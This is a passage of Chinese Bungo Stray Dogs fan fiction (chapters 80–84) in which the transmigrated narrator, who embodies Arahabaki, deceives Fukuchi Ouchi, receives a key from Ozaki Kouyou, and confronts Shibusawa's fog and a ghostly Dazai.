我当时没有想到,原来这个特定的描述词中,竟然还有另外一层指向。 “「荒霸吐」,是一切异能力的‘中转站’。” 第80章 中转站。 这句话也曾经在宰子的猜测中出现过, 但彼时,我先入为主的观念,根本就没有朝其他地方偏过。 我没有想过, 即使是在这个世界内部, “中转站”这个词竟然也能用在我身上。 不,准确地来说,是用在了「荒霸吐」的身上。 “一切异能力的……‘中转站’?” 我CPU真是停不下来一点, 这种东西、这种概念是我从来没有想过的。 福地樱痴收敛了那种张狂又清爽的笑容,眼神暗下来后整个人都显得威严十足,“恐怕就连「荒霸吐」的使用者、甚至是「荒霸吐」自己都没有想到过吧?” 我甚至怀疑,朝雾自己有没有想过这种设定啊。 「荒霸吐」的力量地位一直都很特殊, 中也的人气那也是无须多言, 在这双重增益之下,还真不是没有继续加buff的可能。 “所谓‘神’,就是剥夺一切、又赋予一切。”福地樱痴自顾自地解释起来,他一定对自己调查成果的唯一性感到自豪,“用‘中转站’或许还是有些不敬了。「荒霸吐」正是有这些‘神’的属性, 以讹传讹, 最终使得它的形态神化成了信仰。人们总是对未知的东西带有滤镜,无法解释就只能异想天开。但只要主动探索就会发现, 「荒霸吐」明明那般狂暴, 稳定性却又强得异常。” “狂暴,是指安全装置的状态;稳定, 是指「荒霸吐」本身的状态, ”都说到了这一步, 我的思路也跟着清晰起来, “其实也没有那么难理解。我们所看到的永远都是经过束缚后释放的「荒霸吐」, 摄入、释放是它维持长期稳定的一种平衡,但稳定的东西无法作为战斗力,对吧?” 就像安全装置是人为创造的一样,那岂不是说明,「荒霸吐」那狂战士一样的战力,某种程度上也是人类的造物? “没错,一切都是干涉的创造,”福地樱痴研究这些已经有几十年了,穿过水面,直挖到了底层的淤泥,“「荒霸吐」会‘掠夺’死者的能量,在将其转化为新的异能,这些‘新异能力’,最终会无序地落到新生儿的身上。” 其实我倒觉得,所谓的掠夺更类似于“输入”,赋予近似于“输出”——三次元创造的文学作品在「中转站」朝雾这里转化,最后输出到这个世界里来。 而作者的意志在具象化表达时,需要一个媒介,这个媒介就将是整个世界的支撑力。 这简直改变了一切。 由于种种观念,我一直觉得,小野狗世界的支柱在于「书」。 这个概念级神器,在一个以文豪为理念的二次元世界中,相性度不要太高。 但,我却忽略了更深一层的问题,也即是作者意志转化的问题。 如果按照这种理论来想,真正支撑异能力世界运转的,不是「书」,而是「荒霸吐」的概念。 只要这个中转的过程还在,异能力就不可能消失。 不,甚至不仅如此…… 即使中转的过程消失了,异能力也不会消失! 我瞪大了眼睛,精神不可抑制地强烈震动。 福地樱痴,还真是触碰到了世界的根源。 我沿着他的思路,开上帝视角继续拓展。想得越多,也就越发的意识到,这个异能力的世界和咒回世界有着本质性的区别,同样的“超人能力”消灭计划根本不可以在这个世界施行。 世界的起源和核心设定完全不同。 咒回世界是独立的二次元世界,咒力的来源就是咒回世界中的人,那些本土居民的负面情绪在世界意识、作者意志的推动下,成为了咒力的源头。 是完全的内循环。 所以掐断其中任何一个步骤,都在截断咒力产生的同时,不妨碍其他环节的存在、不阻碍咒回世界本身的存在。 但小野狗不一样。 异能力核心,并非来源于二次元世界内的本土设定,它的源头在三次元。 不论异能力是否存在,那些文豪、那些作品都不会消失,只要与之连通的三次元还在,只要作者对名家名作的认知还在,异能力的核心设定就不会倒。 那些人名、异能力名,甚至是异能力的表现方式,都和三次元联系得太过紧密,以至于甚至有一个“中转站”将这个世界和三次元的现实联系在了一起。 不……是这种联系先存在的。 应该说是有一个中转站建立在了这种联系上,成为了缓冲地带,让两个世界、两个时空、两个维度无法互通。 若是两个层面的世界在保持这种联系的情况下,中转站作代表的缓冲带消失,那后果不堪设想。 我比任何人都清楚,不同时空独立性的重要。世界壁垒绝对不能坍塌,我就是为此才不得不让自己和基友加班。 别说、还真别说。 某种意义上来说,这个“中转站”和我的二次元穿越司完全是一个性质呢。 太重要了,中转站是必要的、绝对必要的。 否则就是世界毁灭级的危险,没有了异能力,这个世界也将无法存在。 我只是有我之所求,但我是很爱这些世界的。要是真的让我来毁灭这些世界……我做不到。 除此之外就更别提,那种世界壁垒坍塌后对三次元可能产生的反向影响。 想想都可怕。 但这之中,倒也不是没有一点好消息。 如果这个结论成立的话,那世界的延续和维持就完全脱离了与「书」的关系。这就意味着,即使没有办法将其解析,我也能毫无负担地将其拿走而不用担心世界会因此崩塌。 拿回去,慢慢解析。 ——当然,若真是要完全放弃解析「书」的力量,那我就必须想其他的办法来帮我穿越回去了。 但不论是如何选择、如何行动,有一点是肯定的。 从这一刻开始,我完全失去了跳反福地樱痴旗下的任何可能。我绝对不会、也不能和他站在一边、不能创造无异能力的世界。 只可惜,福地樱痴自己还不知道我的心思。 在他的眼里,我动摇极了、动心极了,只差最后一哆嗦,就能把我拉过去。 「荒霸吐」的特殊性注定了它难以对付。 尤其是在现有线索中,「荒霸吐」完全无法单纯地和中也画等号,对付「荒霸吐」不等于对付中也。 我的存在是最优解。 其实按照文豪理论,中也的能力,应该是脱离了「荒霸吐」的污浊本身才对——而据我推测,“污浊”倒很像是原本应该正常排放的「荒霸吐」的边缘力量,被束缚在安全装置身体内后的堆积。 经年累月,以全世界的异能力体量为基准,任何一点逸散的堆积,都会是人类难以企及的高度。 “安全装置不是关键,「荒霸吐」本身才是。”我垂下眼,将已经做好的决定掩藏在眼帘之下,“只要「荒霸吐」消失,安全装置的生死本身,对你来说无所谓、对异能力的存续也不起作用。” 人的思维总是从自己出发,最后会落到自己身上的。 这是一种思维惯性。 我绕开那些详解分析,担心不小心泄露不该泄露的线索给福地樱痴。 他太敏锐了,对我来说,他比宰子还要危险。 “没错,所以你和老夫之间,并不存在绝对利益冲突。相反,你和港|黑的太宰治、中原中也之间的生死矛盾才是真正不可调和的。” 福地樱痴没有察觉到我的变化。 不过,即使看到了我的表情变化、感受到了我的情绪起伏,他大概也不会感到奇异。 现在种种从未想过的情报冲击下,我本来便处在极不稳定的精神状态中。 我就是站起来发神经,福地樱痴也顶多给我一刀、砍我头什么的,多半不会怀疑其他。 小事儿,都是小事儿。 “话虽如此,也没有任何东西能够证明,你能帮我活下去。”我一针见血。 刚才的话就算是说出花来,也只是在说明我和港|黑、和宰子中也应该存在的矛盾、挑唆我和港|黑之间的共生关系,但并没有真正把我和福地樱痴联系起来。 这不是比谁好的游戏,而是在比谁更烂。 不是吧,说好的利诱,结果解释了一番,事实上却只有威逼? 要么合作要么死。 甚至死的原因,都不来源于福地樱痴这边。 “哈哈哈哈哈哈——老夫连这点信誉都没有吗?”但看着我充满攻击力的眼神,福地樱痴不怒反笑,仿佛在看一个性格激烈的后辈,“真是让人大受打击。” “信誉这种东西,无意义,本来就是一个伪命题。”我咄咄逼人,“别告诉我,你对我有什么信赖。有话就直说吧,你也要确保我的立场的吧?你也得确保,我能够成为连通「荒霸吐」的‘通道’。” 福地樱痴的眼里终于流露出不加掩饰地赞许。 “你有这样的觉悟,真是太好了。比起空泛的名词,果然还是切实得到的东西更加实在啊。” 他肩膀上的肌肉明显松了一些,那些萦绕在他身边无法消除的战意也散去许多。 果然,福地樱痴一直没有放下武器、完全谈判的意图,若是无法用“话疗”解决我,就直接物理解决我。 我死了,他再等一个新的复制品就好了。 在他的理论中,死了一个复制品,自然要有新的顶上去。 有「书」的存在,“我”太好制作了。 一个一个顺延下去,总会有一个上道的——这才是他的打算。 “但,你说这话也就意味着,你已经充分了解了我的理想,对吧?” “没错。”我点头。 “你知道我要做的事,对吧?” “知道” “你知道接下来和我合作,要面对的敌人?” “知道。” “这样伟大目标的危险性,相信你也能充分理解。” “是的。” “即使如此,你也想要活下去吗?想要‘存在’?” 我抬眼,让一切阴霾从我眼中散去,声音不大,却掷地有声—— “没错。” 80-90 第81章 稳住福地樱痴可真不容易。 即使已经有了一定程度的共识, 但在谈论后续的实际行动之时,他的眼神中还是充满了审判的味道。 甚至,这样犀利的眼神反而愈演愈烈, 像是完全撕裂了原本直爽的皮囊一样。 当然, 福地樱痴这样的人,哪怕真的表现出十分信任,实际上恐怕至多不会超过五分。 我的目的不是拿到他的绝对信任, 只要稳住他就足够了。 几番拉扯,我总算是送走了福地樱痴。 “这下是没胃口了。” 我叹了口气,福地樱痴就不能等我吃完了再来吗? 说完那些乱七八糟的事后,我现在满脑子都是如何除掉福地樱痴。 说实话, 消除异能力的理念太危险了, 随时能给这个世界、甚至是我的世界带来灭顶之灾。 世界战士竟是我自己。 虽说福地樱痴相当危险,但我却没有着急着动手做什么,也没有着急着和谁接触。 既然知道了福地樱痴手上有条野采菊这张牌,我就不得不先顾忌几分。 否则任何时候行动、甚至说话都可能存在风险。 也不能说我多心,先前几天, 或许还要稍微试探一下我的存在, 但如此福地樱痴已经基本掌握了我的信息——好吧,至少是他认知中的“我的信息”。 那么我的作用就直接和他的目的本身挂钩起来。 福地樱痴这个人能和社长在那样黑暗的环境里成为友人, 自然有着相似的秉性。从某种意义上来说, 他们两个都是理想主义者。 这样的人会如何谨慎地对待自己的理想都不为过。 我自然是第一重点观察对象。 即使,现在还远不是启用我的时候。 想要利用我作为介质, 回手掏中也不是那么容易的事。 而且, 假想敌还是IF线的首领宰, 哪怕是不开上帝视角, 福地樱痴比我更会看人。他很清楚, 如果行动结果与其相悖,那就要寻求一击必中的方法。 宰子是不会给任何人第二次机会的。 也正是因为宰子难以对付,所以也更需要关注我的所有行为。 我露出端倪,也会让事情变得麻烦。 所以避开港|黑的视线几天,也还是在给福地樱痴释放信号——我在想办法调整状态,以避免让宰子看出问题来。 算是诚意了吧? 当然,为了配合我,福地樱痴自己也在暗地里让人持续给港|黑找一些不痛快,用来分散宰子的注意力。 只是,这些都不是长久之计。 可话又说回来了,若真是想要放长线钓大鱼,福地樱痴也不会现在就来接触我。 只要接触,不论有多谨慎,都会有被察觉到的风险。 所以反过来想,他既然都来了,就说明他不打算等。 利用我来回通「荒霸吐」力量的计划,就在最近。 事件间隔短,条野采菊才有可能确保监视的隐秘。 他毕竟以“条野传平”的身份有正式的军职,而且还不低、甚至是挂着无异能力的普通人的牌子,这对他的行为限制本就不小。 再加上一点福地樱痴的buff,他身上的眼睛,可比我身上多多了。 不过,我倒是故意在侦探社附近多次出没,甚至还和来兼职的谷崎兄妹俩交流过一次。 说实话,我上次扒衣服的行为,是不是给妹控郎吓出了心理阴影?他看到我之后比兔子跑得都快,以至于我前几次都没来得及说话。 不过,这个截人的效果也很明显。 福地樱痴真的抽时间拜访了老友——虽然据他自己所说,是顺路的看望。 但,目的当然不单纯。 我的目的也不单纯,虽然我的行动会拨动福地樱痴的某些神经,可我就是希望乱步能有机会直接接触一下福地樱痴。 同时,这也更加坐实了他对我监视。 我并不着急,静待了几天后,不出所料,港|黑的人主动出现在了我面前。 袭击港|黑大楼的事过去好多天了,该做的、要做的,宰子也该收他的网了。 也不要瞎猜,这种时候宰子和中也着实不可能轻易离开港|黑大楼,可是站到我门前的人却也足够分量了。 其实比起视觉,反倒是一股清淡的香味先飘了进来。 未见其人,先触其味。 脚步声很轻却很脆,是硬质鞋底会发出的声音。 来人掀开门帘的瞬间,我的瞳孔不自觉地放大,想要架起来这么长的广袖外袍可没那么容易,硕大的玫红蝴蝶结包着白色外边挂在胸口下,相当扎眼。 但再扎眼,都扎不过她的气质。 她只是站在那里,就不自觉地抓着人的目光——不是让人起色心,而是让人想膜拜。 “尾崎桑。” 尾崎红叶。 我一眼就认出了她。 红叶大姐,本人比漫画好看一百倍! 我看着她都腿软。 “您就是首领提到的荒先生吧。”她垂下眼睛微微颔首,将漂亮的纸伞收在手边,单看外表根本察觉不到伞中剑。 但,她手上的剑茧还是明显的。 她身上服装显然不是传统的和服,而是改良后的宽松版。必要时,手脚都能很容易地大开大合。只是那些宽松的褶皱都隐藏在了精致的外袍之下,再加上从头到脚——眼尾上挑的粉红、腰腹的大蝴蝶结和收敛的步伐,配合红叶大姐的气质,给人带来了一种温润无害的感觉。 简直不敢想象,她过去是杀手出身,接着又管理着港|黑的拷问队——即使后来在宰子掌权后被调到了其他位置,可身上竟然一丁点儿戾气都没有沾上……太不可思议了。 福地樱痴完全不能跟我红叶姐姐比啊! 我哪怕是动用一点咒力模式的感知,也无法察觉她身上清晰的情绪波动,这才是铅华洗净、人淡如菊。 难怪宰子会优先把港|黑洗白的产业交给她出面管理。 上帝视角的我都难以想象她竟然是战斗人才,太有欺骗性了。 我愣了几秒,回过神来便赶紧点头,“正是。” “果真是令人惊叹。”每一个认识中也的人见到我都不会不惊讶,红叶大姐的视线已经相当克制收敛,她连言语都是点到为止。 她可是个大忙人,港口黑|手|党黑白两手的活,都是她的工作领域。 所以她和福地樱痴不同,完全没有扯皮,而是开门见山,从一个绣着红色枫叶的荷包中,掏出了一把钥匙,放到了我面前。 非常简单的钥匙齿,和我COS道具没有多大区别。 和这种钥匙配套的锁,真的不会被一捅就开吗? 我当然不会和红叶大姐吐槽这个,只是单纯地投去疑问的眼神。 “这是首领给您的赠物。”不知道是不是她自己也知之不详的缘故,红叶大姐并没有详细展开,而是充满了暗示,“首领说了,您最需要的东西,就放在这里了,请您随时去取。” 第82章 我稍微犹豫了一下。 最想要的东西, 究竟是在做长期暗示,还是短期暗示? 前者当然是「书」,但后者或许是铁啾? 上一次和宰子密谈的时候, 关注的重点完全就在铁啾上, 我很好奇这个世界不同命运的他。 毕竟很可能是我自己带来的蝴蝶效应,我当然也会关注。 但是,如果要说“最重要”的话…… 我皱眉, 仔细摩挲了一下这把钥匙。 它的样式,无论如何也太简单了,配套的锁得有多容易开? 比起使用价值,这更像是一个象征。 我仔细观察了一下要是表面, 做工并不算多精致, 实心,看上去既不像是珍品,又不像是暗格。 想起教堂的事,我有一瞬间想要碾碎它看看结果,但这种不能存档的游戏, 还是谨慎一些好。 宰子他到底是什么意思? 明明说好了要做最坦诚的好伙伴, 但他却突然背叛我,又重新奔向了谜语人。 啊, 苦鲁西。 可, 不知是不是我抖M的缘故,这样的宰子竟然让我觉得安心。 被玩|弄一下, 我感觉我的心情都好多了, 有种完全蝴蝶效应, 最终回归正轨的感觉。 我是不是哪里出问题了? 不, 一定不是我的问题。 我将钥匙收了起来, 很快将宰子的歧义抛在了脑后。 若是铁啾的话,我也不便马上去见,若是「书」的话就更没有意义了,找不到挖开它能量的方式,拿到了也是白瞎,何苦白费力气? 比起这个,我更在意的是眼下横滨的暗流涌动。 所有的平静都像是风暴前的预警一样。 港口黑|手|党的风波自不必多提,宰子都不需要亲自出面就能稳住局势,不论是袭击事件还是袭击人,都已经有了审判。 我没有刻意关注,都看到了新闻上的案件报道和通缉令。 敦敦,喜提新的战果。 这些都是在宰子默许之下,发布和传播的新闻,从某种意义上来说,算是港口黑|手|党的官方回复。 但终究,还是留下了隐患。 某个口子一旦打开,就很难马上合上了。 为了防止敌人的后手,也为了还防止再有人生事,港|黑各个部门的弦都绷得很紧。 甚至不仅是这些“黑事儿”的弦紧,就连诸多洗白的产业最近都肉眼可见地收敛了起来。 毕竟是中途“转行”又要大范围的扩张、又要洗白,就是生产队的驴都不敢这么干。宰子一个做到这些,自然也有不少纰漏。 倒不是说宰子的思维不够缜密,只是心智无法代替时间,许多关键步骤、必要环节,都需要大量的时间。 宰子没有那么长时间的生存欲。 往日,以港|黑的“淫|威”,自然没人敢多说什么,但现在有了福地樱痴的暗地推动,自然就有不少问题暴露了出来。 最容易直接拿捏的,就是一些执照或是税务问题。 这都是不可解决的,却很容易拖时间。 港口黑|手|党最不缺的,就是钱。想要聘请专业人士来解决问题并不难,但主事的人却不能随便指定。 这也是红叶大姐给我送物完全只是顺路,一秒都没有多待的原因。 在她今天的客人之中,我可能最“没用”的那个。 如今,宰子对这些“白天”的产业显然更上心,精力自然不由地便会分过去一些。首领都分精力过去了,港|黑的资源,自然有倾斜的地方。 如此,黑白两道,直攻和迂回,几条线便能限制住这个庞然大物。 正是因为港口黑|手|党的势力铺得太开,所以才更会牵一发而动全身。 打倒很难,但牵制的话就太容易了。 福地樱痴能走到今天、能把他那异想天开的目标推进到如今的地步,果然不是说说话就能做到的。 他的行动力可比他的性格看上去要缜密多了。 港|黑一旦受到牵制,出现了紧张的状态,自然会带动一切和港|黑相关的圈子开始紧张。 横滨这么多年,花了这么多钱,养肥了这么多人,不就是留着今天用的吗?(bushi 试想,港|黑给横滨贡献了多少税收、提供了多少工作岗位? 新的规章制度一上台,都不能弹性打卡了! 哪个打工人不紧张? 合理。 当然,若只是这些,还绝对称不上风暴。 自从福地樱痴去拜访侦探社后,侦探社的气氛就出现了一点微妙的变化。 和港|黑的紧张不同。 福地樱痴的主动行为,显然戳中了社长的某个猜测。 社长的意志和倾向,自然也会影响整个侦探社。 我最近看到某只三花猫总是在侦探社那条街出没,夏目老师在这个世界究竟算是什么角色呢? 很难评。 更别提乱步见到福地樱痴之后会有的发现。 从结论反推寻找线索,可比通过线索得出结论要容易得多。 福地樱痴给港|黑找麻烦,这本和侦探社的关系不大。甚至如果只从消除异能力这一个角度来考虑,其实侦探社内,或许并没有真正无法放弃自己能力的人。 乱步没有异能力、社长的战斗和成就不靠异能力、织田作豁达不依赖异能力、国木田麻麻的心性明智、晶子小姐姐甚至痛恨于自己的能力,妹控郎眼里只有妹妹。 反应最大的,应该就只有还打算着要不择手段找妹妹的垂耳兔芥——换而言之,只要能找回妹妹,异能力就没那么重要了。 侦探社的生活冲淡了他对异能力的极端依赖。 但,消除异能力这件事,终究无法抛开过程看结果。 侦探社和福地樱痴之间仍然有无法调和的矛盾。 可以说是心性,可以说是眼界。 想要消除异能力,首先就需要牺牲横滨的稳定。 破坏现有的结构就相当于变革,任何变革、不论好坏都会带来动荡和鲜血,端看最后的结果是否值得。 只是,不是谁都愿意接受变革过程的。 更何况,消除异能力对这个世界来说,并非一件好事。 用一个城市的稳定来换取世界的崩塌。 双输,指输两次。 当然,这种话不可能和福地樱痴解释,对方也不会相信。 他的意志之坚,怎么可能被外人的言语动容? 我不是鸣人,可没有那样的究极嘴炮buff,话疗不了一点。 更重要的是,即使抛开这个问题——毕竟,我还没有和侦探社细谈过消灭异能力的问题,他们察觉到的东西,不会比我知道的更详细,也许他们还全然不知福地樱痴的最终目的。 但,「荒霸吐」安全装置的实验计划却已经有了定论。 这种暗地阴私的证据摆在台面上,福地樱痴人设大塌房。 只是,福地樱痴也不是傻子,大大咧咧的外表下,说句心细如发也不为过。 且不提他是否会发现老友的动向,单就是谨慎之心,就让他必然要将侦探社也纳入考虑之中。 如此,他和侦探社之间出现的频繁走动,自然就会不断挑动双方的神经。侦探社带来的最大影响,就是施加在福地樱痴身上无形的压力。 这必然会促使对方加快计划速度,带来一系列连锁反应。 我站在港口附近,能够清晰地感觉到空气中辛辣的味道,能量的触感比任何时候都清晰。 这里最近,绝对有异能力者来过。 我的第一反应是,「天人五衰」的其他成员。 不怪我如此想,福地樱痴已经走到了最后一步。 「书」只是一个幌子,他让铁啾袭击港|黑大楼,不仅仅是要束缚港|黑的行动能力,也有要转移视线的意思。 所有人的目光都会集中在「书」上,不知道他所察觉的“世界的真相”。 这是他的绝杀牌。 当然,我也不可能让他走得那么顺利。 有人监视归监视,我确实也并不打算马上挑战福地樱痴的警惕心。 但作为计划中最重要的一环,我相信我还是有资格提一点条件的。 既然说了,要用“文字”延续我的生命。 那自然就要拿出点诚意来。 在一切开始之前,在我配合之前,必须先把「书」拿到手。 我理解福地樱痴有顾虑,「书」可以不交到我手上,但「书」一定不能放在宰子手里。 我的理由是,他那么疯,万一自爆卡车,和我同归于尽了呢? 那原本就是在极短时间内,最简单的解决办法——解决不了问题的之后,就解决和问题直接相关的人。 福地樱痴自己的理论,要利用「荒霸吐」,我就是「荒霸吐」,我必须是「荒霸吐」。 那么杀死我,就必然是最简单直接拖延他计划的方式。 所以,福地樱痴必须认同,任何意外的因素都不应该掌握在别人的手中。 我也就将矛盾的核心重新拉回到了「书」身上。 最终原理和最终计划不提,「书」是不可能被跨过的点。 所以,如果我是福地樱痴,那我一定会放陀总出来和宰子养蛊。 「天人五衰」到来的可能性极大。 只是,那五个人的身份,现在仍旧存疑。 毕竟「猎犬」不存在,但猎犬的人还存在,说不定不止五个成员呢? 我都已经掰着指头数人头,开始预设要如何对付这些人了。 傍晚太阳落山的时候,横滨却毫无征兆地,笼罩起了蔓延无边的浓雾。 ……我都忘了。 Dead Apple被蝴蝶掉了,所有阵营之外,还有个铁老实人的涩泽龙彦在! 想再多也没用。 果然,都是老实人打头阵、当炮灰的。 第83章 雾, 足以笼罩整个横滨的大雾。 不用动脑就能猜到这是谁的手笔。 涩泽龙彦,真是好久不见的名字。 上一次穿越,我没机会见一见这个老实人, 自然也没有体会过他的「龙彦之间」。 没有经验, 就生出许多问题来。 最直接、最迫切的就是,我要不要回避? 我无法判断这种能力是否有效,甚至, Dead Apple都没有给我足够的信息。 中也是开着污浊跳下飞机的,很难说「龙彦之间」能否成为一个开关。虽然宰子后来确实一直触碰着中也,维持着「人间失格」。但,同样也很难说他究竟是为了确保异能力运行, 还是单纯为了按裆。 我们CP脑是有点顾虑在的。 我认真地思考着, 涩泽龙彦是什么时候被政|府征用的来着? 他的超越者潜力是什么时候被开发的? 我隐约记得,这时的涩泽龙彦年近三十。如果按三十来算,往前推十五年——十五六岁,正是拯救世界的好年纪。 他的异能力动静这么大,应该早被关注过了。 如果涩泽龙彦的资料足够早, 那么原则上来说, 安全装置的设置中,就不会不考虑这种状况。 再加上涩泽龙彦这个老实人, 大概率是被人当了棋子。想在如今横滨生事的人, 又大概率是福地樱痴,当然也有宰子想要搅浑水的可能。 但, 不论是哪一种, 应该都不会以伤害我为前提……吧? 我现在的位置这么关键, 杀了我, 难道去策反中也? 不合适吧。 赌了, 赌不论哪一方,都不会想要让我受到过大的影响。 这个世界上本就不可能存在毫无风险的行动方式。 我站在原地,任由浓雾越过我的身体,冲入海中。 皮肤表面的纹章开始发烫,甚至到了灼热的地步。 我心里“咯噔”一下,忐忑了数秒。 大话我只是说说而已,不会真是我赌错了吧? 但是,这种紧张持续时间并不长,我的身体很快就稳定下来——稳定的微烫。 并不灼人,只是隐隐彰显着自己的存在,带给我一种不好的预感。 我尝试动用重力,也毫无滞涩。 所以大概是……没有问题? 又或只是「龙彦之间」的作用,即使作为异能力本身,多少也会受到些影响,这是意料之中的事。 在无法解决问题的时候,就得尽量保持乐观了。 雾的浓度迅速上升,冲击的速度也丝毫没有衰弱。 我心下疑惑,一转身,竟发现雾气还在以更快的速度扩张。 甚至,雾气飞往海面的速度,要远快于朝其他方向扩张的速度。 此时的涩泽龙彦还没有失控,不大可能会无休止地扩张异能力范围。 他一直很好引导、很好用,所以我姑且认为,这个扩张不是无意义的。 也就是说,横滨之外的海域还是目标。 近港仍有停靠的船只,那里或许也有异能力者,所以才吸引着「龙彦之间」进一步扩大。 不,应该没那么简单。 什么异能力者能让雾气的扩速快于港|黑大楼? 总不能是宰子自己吧? 开玩笑,这种时候,他怎么会离开大本营? 可除此之外,我也是真想不到还有什么特别值得刻意关注的异能力者。 心里那种不祥的预感仍然在扩张,我看着手背微烫的荒纹,福至心灵,瞪大了眼睛。 不、不会吧? 我快速盘算起来。 浓雾蔓延的横滨本土,已然踢走了所有的非异能者,微弱的夕阳根本无法穿透雾气,刚才还热闹非凡的城市,如今却仿佛一座死城。 港口黑|手|党虽然是异能力组织,高位的掌权者也确实都是异能力者。 但,真正把组织架构起来的,却依然是非异能力者。 我大脑快速转动着,直接以「龙彦之间」的结果来反推既得利益者。 任谁都能看出来,涩泽龙彦这个老实人既斗不过宰子,又玩不过福地樱痴,横滨卷出来的异能力者也没那么容易杀。 所以,「龙彦之间」不会有什么结果……那重要的,就是过程。 过程,就是这个空荡无人的城市。 对! 就是如此! 紧张的横滨局势让港|黑的势力收缩,以「书」为目标的行动,必然会促使正常的持有者将其安置身边。 这样,就等于将港|黑的重心转移到了横滨本家、甚至是港|黑大楼范围圈。 在这种情况下使用「龙彦之间」,绝对是短时间最佳的,突破港|黑的办法。 这么说来,一切果然还是和福地樱痴脱不了关系。 我皱眉。 结论摆在我面前,按理来说,我应该马上行动,返回港|黑。 大雾阻碍了我的视线和听力,但想也知道,横滨内的状况一定不好。 尤其是,中也。 若是「龙彦之间」会对他生效,就等于废掉了他的战力。 防止污浊失控,就要一直和宰子直接接触——这就等于同时限制了他异能力和体术。 但,我最多只犹豫了五秒钟,就冲向了大海。 别人不知道,但我却再清楚不过了。 大海之中,藏着可怕的东西。 那把连通天地的枪。 比「荒霸吐」失控更可怕的,是「荒霸吐」本体的失控。 上一次那东西爆发的时候,挥挥手就轻而易举就解决了钟塔侍从的杀招,卷起的风浪差点把整个横滨都淹没。 说起来,我对「斗尖荒霸吐」这样的完全体了解并不算彻底,但有些恐怖是不需要内行的知识,肉眼都能看得出来。 我可以赌横滨内的百分之九十,都不敢赌海底的百分之一。 重力推开水波,我并不担心深水的水压,也不担心氧气问题。 因为我完全不打算潜下去。 都说了,我不会赌任何刺激到「斗尖荒霸吐」本体的可能。 万一我和祂产生呼应了呢? 就在上层水域观察一下就足够了。 「龙彦之间」的雾气果然是异能力能量体的表现,一般的水根本无法阻碍它的前进。 浓郁在向下渗,只是速度并不如在空气中那般离谱。 我挥动手臂,运起异能力在海面表层建立起屏障。 “唰!” 随风漾波的海面强制平静下来,就像是时间暂停。 老爹说过,要用异能力对抗异能力。 普通的水确实无法阻止异能,但重力屏障可以。 隔绝了海面,便不用担心那些已经渗入的雾气。 既然是能量体,没有了后继之力,自然会很快消散。 唯一的问题就是,重力的释放需要接触,我便无法探得横滨内陆的状况。 我站在海面上,眯着眼睛往回看。 极低的能见度下,突然有一个身影拨开云雾,在我的视野内逐渐清晰。 一身纯白的衣服,吓得我心脏一跳,差点以为是某位好心的俄罗斯人。 定睛一看,好家伙,我的老舅—— 宰子你还真在这里? 第84章 宰子在水面上行走。 准确地来说, 是在我的重力屏障上行走。 因为确切地来说,我的异能力并没有完全贴在海面上,而是留出了空隙。 但重力隔绝了一切风浪, 海面自然也会平静得虚假如画。 这个画面看上去真的很诡异, 毕竟人不能站在水上行走,太宰治不能站在异能力上行走。 反科学。 不要问我超能力二次元为什么还要讲科学。 可我的存在略有特殊,纯粹的「荒霸吐」能力和克系爱手艺的状况有些相似, 超越了异能力的限制,自然也就不会被「人间失格」阻止。 所以,宰子行走在我的重力屏障上,却并没有给我带来多大的惊异。 真正让我心里犯嘀咕的, 是他单独出现于此这件事本身, 他不该出现在这里的。 若他在此,那中也呢? 中也又双叒叕出门了?飞到高高的天空,脱离「龙彦之间」的范围? IF线都能把他Ban掉? 实操倒是不难,不论是宰子的预测能力,还是中也的反应力, 如果真要应对的话, 都不至于被「龙彦之间」困住。 但,关键不在能力, 中也的首要任务就要求他不能离开宰子。 上一次见面时, 那稍微离开一下就要发飙的样子还历历在目。 这次的情况,可比和我见面的时候, 极端多了。 即使脱离了浓雾, 不受「龙彦之间」异能力的影响, 浓雾本身的阻挡效果却依然有用。 信号无法接通, 内外之间就无法联络, 再强的观察力,也看不到浓郁内的实际情况。 这就等于中也放养了宰子,宰子也放养了中也。 还是说,宰子已经下棋下到极致了,走一步看十步,并且能确保不会被外人破坏布局,同时还能精确到时间。 毕竟只有这种情况下,中也才能在无只会的情况下,精准行动。 但再怎么多智近妖,也不可能到这种地步……的吧? 我皱着眉,迎上了宰子,打算看看他究竟有什么打算。 别说,宰子今天的白衣还有点美丽,和衣服不配套的红色围巾也完全没带,审美在线。 真像是去参加某个晚宴的正装。 要不怎么说,要想俏一身孝,白美丽名副其实。 走近几步,我愈发觉得有问题。 这个宰子竟然…… 没有绷带!!! 没有经历过织田作拆绷带洗礼的IF宰,绷带含量是武侦宰的三到四倍,衣服内外都无例外,间歇性包左右眼,反正是不可能全部露出来。 我怎么可能在IF线里,看到裸|宰? 本体消失,真让我恐惧。 他的眼睛里一点高光都没有,整个人的状态发颓…… 我没想到,有一天,我会用“颓”这个词来形容宰子。 即使是自杀状态,也不应该是这种败犬的表情。 发生什么事了? 我呼吸一窒,不由加快了脚步,甚至跑了起来。 和岸边的距离并不远,我很快就贴近了他—— “太宰你——” 我抬起手,他却完全无视我,甚至穿过了我的身体。 啊这…… ——哈?! 穿过去了? 我低头,首先怀疑的是我自己的状态。握握拳,感觉一切正常啊……那就是,宰子出问题了? 没绷带的宰子当然有问题……我之前说绷带是本体什么的,真的只是单纯玩梗! 别不是,那东西真成了本体吧? 宰子自己成替身了? 我扭头,追了上去,大声叫着他的名字。但宰子的身体就像是和浓雾融为一体了似的,成了一片海市蜃楼。 果然,他听不到,他并不真正存在于我面前。 走错片场了吗? 我很确定这附近没有投影设备,即使有,投影的光也不可能在这样的浓雾中肆意穿梭。 鬼魂? 宰子不可能这么快噶掉吧? 那就是……幻影? 我一刻也不敢减速,紧紧盯着幻影宰子,生怕漏掉某个细节。 在这样近的距离之下,宰子的面孔更加清晰。 我猛然注意到这个宰子的脸色真是差得可怕。 刚才说白美丽是赞扬他的审美,现在就是单纯的——可怕。 他的面色和衣服大差不差,瞳孔发散到无法聚焦,风衣的肩膀好像是海绵垫起来的,裸|露的锁骨窝真的能养金鱼。 比我不久前见的宰子还要消瘦——真正意义上的皮包骨头。 他但凡矮一点,都不至于到现在这种可怕程度。 完全无贬义,但——像NM个鬼一样! 我沿着他的领口看进去,隐约能够看到他的皮肤。 虽然早就看过许多同人图,也猜到宰子这样日常自杀、经常挨揍的人,身上的伤不会少。 但这密集的疤痕也太恶心了…… 一根根线条又细又密,还是那种红色的疤痕,看上去仿佛又很“新鲜”,看得密恐症患者狂躁。 等等,不对! 这不是一般的疤吧! 我眯着眼睛,推开雾气仔细观察。 是利希滕贝格图案。 人在被闪电、或是强电击中后,留下的痕迹,是生命挣扎的痕迹。 当电流在身体内均匀攻击的时候,确实会留下相当密集的痕迹。 电、电…… 我脑中浮现出一个诡异的可能。 用强电击来分离异能力! 